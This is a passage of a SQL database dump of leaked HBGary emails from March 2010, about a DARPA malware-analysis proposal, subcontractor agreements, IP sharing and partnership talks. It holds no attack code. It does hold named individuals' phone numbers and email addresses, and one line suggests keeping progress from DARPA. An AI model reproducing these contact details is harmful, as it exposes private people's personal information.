03/08/10\r\n02:34:00\r\n',6581,'aaron_hbgary_com/6581.html'),(3697,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001868.M512612P3547Q3697.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','SOW','Anita,\r\n\r\nYou have already submitted to us a SOW response broken down by the 4 years.  For the purposes of developing material for the proposal I wanted to provide some more specifics on development requirements.  Please see the attached SOW, reply back with any changes you suggest.  At some point today you will receive from Ted a new NDA, Teaming agreement, pricing template, and copy of SOW with any agreed changes for your records.  Based on the SOW we need to get a price and scheduling sheet by 12pm tomorrow so we can get everything together and priced.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',76,'aaron_hbgary_com/76.html'),(3698,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001868.M808779P3547Q3698.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','SOW in word format','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14738,'aaron_hbgary_com/14738.html'),(3699,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001873.M437740P3547Q3699.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','SOW in word format','Chris,\r\n\r\n',5828,'aaron_hbgary_com/5828.html'),(3700,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001873.M624483P3547Q3700.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','SOW','Brianne,\r\n\r\nYou have already submitted to us a SOW response broken down by the 4 years.  For the purposes of developing material for the proposal I wanted to provide some more specifics on development requirements.  Please see the attached SOW, reply back with any changes you suggest.  At some point today you will receive from Ted a new NDA, Teaming agreement, pricing template, and copy of SOW with any agreed changes for your records.  Based on the SOW we need to get a price and scheduling sheet by 12pm tomorrow so we can get everything together and priced.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10005,'aaron_hbgary_com/10005.html'),(3701,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001875.M390353P3547Q3701.eml','anitad@securedecisions.avi.com,\"Aaron Barr\" <aaron@hbgary.com>','Teaming Agreement and updated NDA','Please review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n',11597,'aaron_hbgary_com/11597.html'),(3702,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001877.M113967P3547Q3702.eml','irby@pikewerks.com,\"Aaron Barr\" <aaron@hbgary.com>','Teaming Agreement and updated NDA','Please review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n',12249,'aaron_hbgary_com/12249.html'),(3703,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001879.M55824P3547Q3703.eml','Chris.Starr@gd-ais.com,\"Aaron Barr\" <aaron@hbgary.com>','Teaming Agreement & Updated NDA','Please review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n',3238,'aaron_hbgary_com/3238.html'),(3704,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001879.M783643P3547Q3704.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','WBS','Hi Chris,\r\n\r\nWould it be possible to get a copy of the Tech Area 1 WBS excel file\r\nso I can use it as a template for Tech Area 3?\r\n\r\nTed\r\n',12728,'aaron_hbgary_com/12728.html'),(3705,'2010-03-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001879.M989051P3547Q3705.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: WBS','Yes, absolutely, stand by...\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, March 08, 2010 12:36 PM\r\nTo: Starr, Christopher H.\r\nCc: Barr Aaron\r\nSubject: WBS\r\n\r\nHi Chris,\r\n\r\nWould it be possible to get a copy of the Tech Area 1 WBS excel file\r\nso I can use it as a template for Tech Area 3?\r\n\r\nTed\r\n',14497,'aaron_hbgary_com/14497.html'),(3706,'2010-03-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001880.M186057P3547Q3706.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Teaming Agreement & Updated NDA','Ted,\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, March 08, 2010 11:59 AM\r\nTo: Starr, Christopher H.; \'Aaron Barr\'\r\nSubject: Teaming Agreement & Updated NDA\r\n\r\nPlease review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n',2950,'aaron_hbgary_com/2950.html'),(3707,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001880.M383486P3547Q3707.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','RE: IP','Aaron,\r\n\r\nThere is another possible path with respect to Pikewerks.  I\'d like us to\r\nsign an agreement with them where they use the money of the DARPA contract\r\nand possibly HBGary IP to develop malware analysis capabilities for Linux.\r\nBUT, I want them to MARKET through HBGary.\r\n\r\nWe are way ahead of them on the marketing side.  If we can ensure through\r\ncontracts that they are not to compete with us using IP and money we furnish\r\nand that we can win my partnering, then I see that as the best outcome.\r\n\r\nHBGary and Pikewerks are excellent small companies who do great work.  We\r\nwill get ahead faster working together than separately.\r\n\r\nThe devil is in the details, but I think we can work out an agreement.  I\r\nspoke with Irby this morning.  He likes the ideas I presented.  He is going\r\nto write up his thoughts and find out where the rest of Pikewerks management\r\nis with this.\r\n\r\nI\'d like us to come to a basic understanding (today if possible).  We have\r\nuntil June to work out the contractual details that would be in the\r\nsubcontract agreement and/or co-licensing agreement.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 9:18 AM\r\nTo: Penny Leavy\r\nCc: Bob Slapnik; Ted Vera; Greg Hoglund\r\nSubject: Re: IP\r\n\r\nOk I think we are back to doing some of this from scratch.  Pikewerks\r\nis on the team to build behavioral analysis of malware for Linux\r\nplatform so I think we are going to have to do this separately from\r\nproduct.  We need to settle this right away.  I can\'t restrict team\r\nmates from developing what they were brought on to develop.  So I\r\nthink we just have to stay away from ddna.  Not sure about recon.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 8, 2010, at 8:57 AM, Penny Leavy  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> I think we do want HBGary Federal to do special projects but I think\r\n> it depends on the project.  With regards to REcon, we would want to\r\n> probably put some changes in the code for our customers.  this product\r\n> isn\'t done.  For Unix DDNA, we might want to have HB or Fed do this\r\n> since it wouldn\'t be as hard and we would want to give the know how to\r\n> Sandy and her company.  We can rely on her memory snapshot.  Greg is\r\n> working on his book this week although hopefully not all the time:)\r\n> It\'s finally sunny, after raining for two days.   I\'ll have him read\r\n> email to provide clarificatino\r\n>\r\n> On Sun, Mar 7, 2010 at 5:06 PM, Aaron Barr  wrote:\r\n>> Some thoughts for IP and execution of the contract.\r\n>>\r\n>> HBGary Federal and HBGary will be the only companies doing windows\r\n>> based memory analysis.\r\n>>\r\n>> On Traits.  I was under the understanding that the trait database\r\n>> and code would be made available to the government on contract to\r\n>> develop their own classified traits libraries.  I also thought I\r\n>> remember someone saying that at some point the ability to write\r\n>> your own traits would be in the product.\r\n>>\r\n>> On the detection algorithm.  There is no reason this needs to be\r\n>> used other than as a licensed product under the BAA.\r\n>>\r\n>> Responder.  I see no reason this needs to be used other than as a\r\n>> licensed product under the BAA.\r\n>>\r\n>> REcon.  This might be the only sticky point.  The development of\r\n>> the Automated Resolution Engine (AFR like but using REcon as base)\r\n>> I think HBGary proper should most of this work in developing an\r\n>> automated complete execution flow capability.  This is the one\r\n>> piece I think deserves the most conversation as to how we want to\r\n>> word the language.  Lets  talk more about this?\r\n>>\r\n>> Do agree with these assessments?\r\n>>\r\n>> I was under the impression when starting HBGary federal that one of\r\n>> its primary focuses would be to do the government services and\r\n>> tailored product work that HBGary did not want to do?  So why would\r\n>> HBGary Inc. want to develop specific government capabilities\r\n>> related to lineage trees?  If you do this as a separate subcontract\r\n>> to GD then you will have to manage your own SOW, deliverables, etc.\r\n>> rather than just providing engineering support to HBGary federal.\r\n>>\r\n>> THoughts.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n',8014,'aaron_hbgary_com/8014.html'),(3708,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001880.M593561P3547Q3708.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tech content from Martin','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDebuggers are interactive with the user.&nbsp; Tracer is not.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 8:49 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhat\'s difference between a debugger and a tracer?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 8, 2010, at 8:30 AM, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOops.\r\nI didn&#8217;t answer everything you asked.\r\n\r\n&nbsp;\r\n\r\nYes,\r\nwe do static analysis on binaries extracted from memory images.&nbsp; It is\r\nfrozen in time &#8211; inert and not running &#8211; so it has to be static analysis.&nbsp;\r\nIn static analysis you have the whole enchilada sitting there as data and you\r\ncan examine it.&nbsp; Dynamic analysis requires the software to be\r\nexecuting.&nbsp; Hey, we probably need to very clearly DEFINE THIS STUFF IN THE\r\nPROPOSAL so the reader understands.\r\n\r\n&nbsp;\r\n\r\nYes,\r\nwe do dynamic runtime analysis in REcon because we are executing the\r\nmalware.&nbsp; Actually, to me dynamic = runtime, it is redundant.\r\n\r\n&nbsp;\r\n\r\nRegarding\r\nAFR, confirm with Martin.&nbsp; I believe in AFR we do BOTH static and dynamic\r\nanalysis.&nbsp; It is static data flow tracing when we are figuring out &#8220;the\r\nroad ahead&#8221;, ie., branches to take or not take.&nbsp; And we are statically\r\n(through math and algorithms) trying to figure out what the data buffer needs\r\nto be to &#8220;cause&#8221; the code to execute along a certain sets of branches.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 6:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs\r\ndata flow tracing in REcon?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK\r\nso we do static memory analysis through snapshots.\r\n\r\n\r\n\r\n\r\n\r\nwe\r\ndo dynamic runtime analysis on REcon\r\n\r\n\r\n\r\n\r\n\r\nand\r\nwe do static data flow tracing on disassembled code through AFR?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nI have this right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 5, 2010, at 1:49 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin, please\r\nreply to confirm if this is correct or modify where incorrect or incomplete.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDATA FLOW TRACING\r\n\r\n\r\n\r\n\r\n\r\nEMULATED CPU STATE\r\nMACHINE\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI give you this\r\ncontent so you can include it in the AFR section.&nbsp; Martin said a big chunk\r\nof the AFR problem has been solved.&nbsp; (We don&#8217;t need to tell DARPA\r\nthis.)&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nData flow tracing\r\nis a key component of AFR.&nbsp; In Responder&#8217;s disassembly system is an auto\r\nlabel feature.&nbsp; To make this feature work Martin had to implement data\r\nflow tracing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToday data flow\r\ntracing works at the function level.&nbsp; Martin would have to extend it for\r\nthe entire binary across many functions.&nbsp; It is written in C# now.&nbsp;\r\nHe would have to rewrite it in C++ for speed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis data flow\r\ntracing is actually static analysis on disassembled code.&nbsp; Nothing is being\r\nexecuted.&nbsp; It is an emulation environment where there is a giant emulated\r\nCPU state machine that emulates all things the CPU does.&nbsp; So Martin\r\nemulates how data flows through the code and he &#8220;operates&#8221; on it like a real\r\nCPU would.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMe connecting some\r\ndots&#8230;&#8230;&#8230;AFR is actually a combination of static and dynamic analysis.\r\n&nbsp;Suppose we are sitting at a fork in the code.&nbsp; Execution has\r\ntemporarily stopped.&nbsp; Statefulness has been snapshotted.&nbsp; Seems to me\r\nthat AFR does some data flow analysis (which is static analysis of how data is\r\nsupposed to move their the code) to figure out what the buffers or data inputs\r\nneed to look like in order to take the left or right branch. When the data is\r\ncrafted execution starts back up which brings us into dynamic analysis where we\r\ncan continue harvesting runtime data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7490,'aaron_hbgary_com/7490.html'),(3709,'2010-03-08','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297001883.M80313P3547Q3709.eml','greg@hbgary.com,greg@hbgary.com,','FidelisCreatePolicies.pdf','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Penny,\r\n\r\n&nbsp;\r\n\r\nIt was great to meet in person on Thursday &#8211; really\r\nenjoyed the conversation and think we can do some awesome stuff together. \r\n(Thanks again for lunch too!)  I think you said you are in Cabo now, and\r\nhopefully enjoying it!  I&#8217;m very jealous as I&#8217;m in all day meetings\r\nor traveling all week.\r\n\r\n&nbsp;\r\n\r\nHere were the action items I captured:\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSend you our Guide to Creating Policies (attached),\r\nwhich lists all of the policy/rule/fingerprint attributes we support to see how\r\nwe can map HB Gary output to Fidelis XPS policy\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSchedule a technical call with Fidelis and HB\r\nGary technical teams.  From our side, it will be me, Jerry Mancini (VP of\r\nEngineering) and Gene Savchuk (CTO.)   When can we schedule the technical\r\ncall/demos? \r\n\r\no&nbsp;&nbsp;\r\nAgenda for the call:\r\n\r\n§&nbsp; HB\r\nGary demo\r\n\r\n§&nbsp; Fidelis\r\nXPS demo\r\n\r\n§&nbsp; Discuss\r\nhow Fidelis XPS can export files to HB Gary\r\n\r\n§&nbsp; Discuss\r\nFidelis XPS CommandPost APIs for automating policy updates\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDetermine use case list based on output from\r\ncall.  I&#8217;ll work on some draft slides in the interim based on our\r\nconversations.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate marketing partnership using Fidelis\r\nPartner Program&#8212;all fees waived if we can provided our appliances as\r\nVMWare images.  I&#8217;ll get you copy of the program.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDetermine co-marketing an co-selling plans based\r\non above\r\n\r\n&nbsp;\r\n\r\nSeparately, I&#8217;ll continue to work supporting Aaron on\r\nthe short term joint opportunities.\r\n\r\n&nbsp;\r\n\r\nWhen can we schedule the technical call/demos?  It looks\r\nlike we have time on 3/19 all day, and 3/26 before 1 PM ET.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD\r\n        20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9328,'aaron_hbgary_com/9328.html'),(3710,'2010-03-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001884.M21935P3547Q3710.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: WBS (still being worked) for TA#1','\r\n\r\n\r\n\r\n\r\nFW: WBS (still being worked) for TA#1\r\n\r\n\r\n\r\n\r\nTed, here is our WBS (still being worked) for TA#1\r\n\r\n\r\n\r\n &lt;&lt;Cyber Genome WBS 100302.xls&gt;&gt; \r\n\r\n\r\n\r\n\r\n',14576,'aaron_hbgary_com/14576.html'),(3711,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001886.M325193P3547Q3711.eml','\"Martin Pillion\" <martin@hbgary.com>','UCBerkley PPT Doc','Martin,\r\n\r\nHere is some data on UCBerkley.  http://bitblaze.cs.berkeley.edu/\r\n\r\n',16028,'aaron_hbgary_com/16028.html'),(3712,'2010-03-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001886.M600100P3547Q3712.eml','\"Aaron Barr\" <aaron@hbgary.com>','Responder','\r\n\r\n\r\n\r\n\r\nResponder\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nHow things?&nbsp; Busy? J J J\r\n\r\nCan you send me a quote for one license of Responder?&nbsp; I have this little proposal that I am working on&#8230;.\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',1746,'aaron_hbgary_com/1746.html'),(3713,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001886.M800894P3547Q3713.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Responder','Don\'t give this guy anything...hes the competition!!!!Just kidding. &nbsp;Bob can you provide this to Brian.Thanks.Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: March 8, 2010 3:32:35 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Responder\r\n\r\nHey,How things?&nbsp; Busy? J J JCan you send me a quote for one license of Responder?&nbsp; I have this little proposal that I am working on….Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1731,'aaron_hbgary_com/1731.html'),(3714,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001886.M994750P3547Q3714.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Responder','I like and hate proposals all at the same time.Can\'t wait till Monday.But I think 3 is coming along, or at least the story is...lots of other shit to put together.AaronOn Mar 8, 2010, at 3:32 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nHey,How things?&nbsp; Busy? J J JCan you send me a quote for one license of Responder?&nbsp; I have this little proposal that I am working on….Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8848,'aaron_hbgary_com/8848.html'),(3715,'2010-03-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001887.M268130P3547Q3715.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Responder','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBut what about my quote!!!!&nbsp; J\r\n\r\nTell me about it.&nbsp; Ours is coming as well.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 3:35 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Responder\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI like and hate proposals all at the same time.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\'t wait till Monday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBut I think 3 is coming along, or at least the story\r\nis...lots of other shit to put together.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 8, 2010, at 3:32 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nHow things?&nbsp; Busy?\r\nJ J\r\nJ\r\n\r\nCan you send me a quote for\r\none license of Responder?&nbsp; I have this little proposal that I am working on&#8230;.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9568,'aaron_hbgary_com/9568.html'),(3716,'2010-03-08','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297001888.M959969P3547Q3716.eml','aaron@hbgary.com,aaron@hbgary.com,,,,','SoW update w/ Task Descriptions','\r\nAaron, from page 3-6 of the attached doc we made modes to the task SoW and\r\nprovided task summaries.  This include brief innovative claims text, \r\nand year by\r\nyear break downs.\r\n\r\n\r\n\r\n--------------------------------------------------------------------------------- \r\n\r\nPhillip A. Porras (porras@csl.sri.com)\r\nProgram Director,  SRI International\r\n333 Ravenswood Ave, Menlo Park CA 94025 USA\r\noffice: (650) 859-3232, fax: x2844\r\n',2470,'aaron_hbgary_com/2470.html'),(3717,'2010-03-08','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001889.M200607P3547Q3717.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SOW','Aaron -\r\n\r\nWe reviewed the SOW that you provided and have a few comments regarding\r\ncertain items -\r\n\r\nItem 2f - This indicates that our physical presence may be required in\r\nHBGary\'s facilities in order to produce the proposal.  We are available\r\non demand, however I don\'t think we want to commit to a being physically\r\non premises.  Can that part be amended?\r\n\r\nUnder Subcontractor post award roles and responsibilities, there are\r\nonly two brief bullets describing the nature of our contribution.  We\r\nhad elaborated on the tasking in the SOW that we sent to you last week\r\nand provided greater clarity to our developmental activities.  Can those\r\nSOW items be leveraged to expand the post award roles and\r\nresponsibilities?\r\n\r\nPlease advise when you get the chance.\r\n\r\nThanks & Regards,\r\nBrianne\r\n\r\nBrianne F. O\'Brien\r\n(631) 754-4920 x150\r\n(516) 702-7703 (cell)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 10:37 AM\r\nTo: Brianne O\'Brien\r\nSubject: SOW\r\n\r\nBrianne,\r\n\r\nYou have already submitted to us a SOW response broken down by the 4\r\nyears.  For the purposes of developing material for the proposal I\r\nwanted to provide some more specifics on development requirements.\r\nPlease see the attached SOW, reply back with any changes you suggest.\r\nAt some point today you will receive from Ted a new NDA, Teaming\r\nagreement, pricing template, and copy of SOW with any agreed changes for\r\nyour records.  Based on the SOW we need to get a price and scheduling\r\nsheet by 12pm tomorrow so we can get everything together and priced.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4921,'aaron_hbgary_com/4921.html'),(3718,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001889.M433350P3547Q3718.eml','\"Ted Vera\" <ted@hbgary.com>','can u join the call?','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4647,'aaron_hbgary_com/4647.html'),(3719,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001889.M668302P3547Q3719.eml','\"Bob Slapnik\" <bob@hbgary.com>','Technical Approach','Martin,\r\n\r\nAs you get a chance to write if you could think about these things.\r\n\r\n1. What are the challenges to automated malware analysis for behavior, functions, and intent.\r\n2. 